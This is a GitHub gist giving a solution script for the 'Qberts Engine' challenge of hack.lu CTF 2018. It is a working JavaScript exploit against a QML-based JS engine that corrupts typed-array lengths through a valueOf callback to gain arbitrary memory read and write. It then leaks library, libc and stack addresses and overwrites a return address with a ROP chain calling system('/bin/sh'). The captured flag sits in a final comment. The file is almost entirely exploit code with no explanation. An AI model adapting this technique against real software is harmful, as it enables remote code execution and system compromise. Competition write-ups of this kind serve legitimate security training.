Skip to content

Instantly share code, notes, and snippets.

@birdg0
Last active October 21, 2018 06:56
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save birdg0/dbe57050ffc85fe6ec1af4b35df68831 to your computer and use it in GitHub Desktop.
Save birdg0/dbe57050ffc85fe6ec1af4b35df68831 to your computer and use it in GitHub Desktop.
Qberts Engine of hacklu CTF 2018
var a = new Array(0x80000200);
var b = new Array(100);
for (var i = 0; i < b.length; i++) {
b[i] = new Uint8Array(0x1000+i);
b[i][0] = 0x11;
b[i][1] = 0x22;
b[i][2] = 0x33;
b[i][3] = 0x44;
}
a[0x28a] = 0x1;
a[0x28b] = 0xffffffff; // size
a[0x28c] = 0xffff;
a[0x28d] = 0x0;
a[0x28e] = 0x18; // offset_low
a[0x28f] = 0x0; // offset_high
a[0x290] = 0x55555555;
a[0x291] = {
valueOf: function() {
function write64(arr, idx, val) {
for (var i = 0; i < 8; i++) {
arr[idx+i] = val & 0xff;
val /= 0x100;
}
}
function read64(arr, idx) {
val = 0
for (var i = 7; i >= 0; i--) {
val = val * 0x100 + arr[idx+i]
}
return val;
}
var A, B, B_idx, B_offset;
for (var i = 0; i < b.length; i++) {
if (b[i][0] == 0x55 && b[i][1] == 0x55 && b[i][2] == 0x55 && b[i][3] == 0x55) {
print(i);
A = b[i];
break;
}
}
for (var i = 0; i < 0x10000; i += 8) {
if (A[i] == 0x1 && A[i+0x10] == 0x18 && A[i+0x18] == 0x11 && A[i+0x19] == 0x22 && A[i+0x1a] == 0x33 && A[i+0x1b] == 0x44) {
print(i.toString(16));
B_offset = i + 0x10;
A[i+0x4] = 0xff;
A[i+0x5] = 0xff;
A[i+0x6] = 0xff;
A[i+0x7] = 0xff;
A[i+0x18] = 0x66;
A[i+0x19] = 0x66;
A[i+0x1a] = 0x66;
A[i+0x1b] = 0x67;
break;
}
}
for (var i = 0; i < b.length; i++) {
if (b[i][0] == 0x66 && b[i][1] == 0x66 && b[i][2] == 0x66 && b[i][3] == 0x67) {
print(i);
B_idx = i;
B = b[i];
break;
}
}
write64(A, B_offset, 0xffffffffffff0000);
var heap_to_js_heap_offset, vtable, libqml_base;
for (var i = 0; i < 0x10000; i += 8) {
if (B[i+1] == 0x4 && B[i+0x10] == 0x90 && B[i+0x15] == 0x7f && B[i+0x69] == 0x4) {
vtable = read64(B, i+0x10);
libqml_base = vtable - 0x689690;
print('libqml_base: ' + libqml_base.toString(16));
heap_to_js_heap_offset = read64(B, i+0xe8) - read64(B, i+0xf0);
print('heap_to_js_heap_offset: ' + heap_to_js_heap_offset.toString(16));
break;
}
}
write64(A, B_offset, heap_to_js_heap_offset-0x10000);
var self_addr;
for (var i = 0; i < 0x10000; i += 8) {
if (read64(B, i) == vtable + 0x290 && read64(B, i+8) == 0x1000 + B_idx && read64(B, i+16) == 1) {
self_addr = read64(B, i-0x48);
print('self_addr: ' + self_addr.toString(16));
break;
}
}
write64(A, B_offset, libqml_base + 0x693020 - self_addr);
var memmove = read64(B, 0);
var temp, libc_base;
for (var i = 0; i < 0x30000; i++) {
write64(A, B_offset, memmove - i * 8 - self_addr);
temp = read64(B, 0);
if (temp == 0x03010102464c457f) {
libc_base = memmove - i * 8;
break;
}
}
print('libc_base: ' + libc_base.toString(16));
write64(A, B_offset, libc_base + 0x1c3120 - self_addr);
var stack_addr = read64(B, 0);
print('stack_addr: ' + stack_addr.toString(16));
var system = libc_base + 0x45380;
var bin_sh = libc_base + 0x184519;
var pop_rdi = libc_base + 0x23be3;
var ret_addr = stack_addr - 0x2d10;
write64(A, B_offset, ret_addr - self_addr);
write64(B, 0, pop_rdi);
write64(A, B_offset, ret_addr + 8 - self_addr);
write64(B, 0, bin_sh);
write64(A, B_offset, ret_addr + 0x10 - self_addr);
write64(B, 0, system);
return 0xdeadbeef;
}
};
new Uint32Array(a);
// flag{qbert_@!#?@!says#!?%thank?#!@_you}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment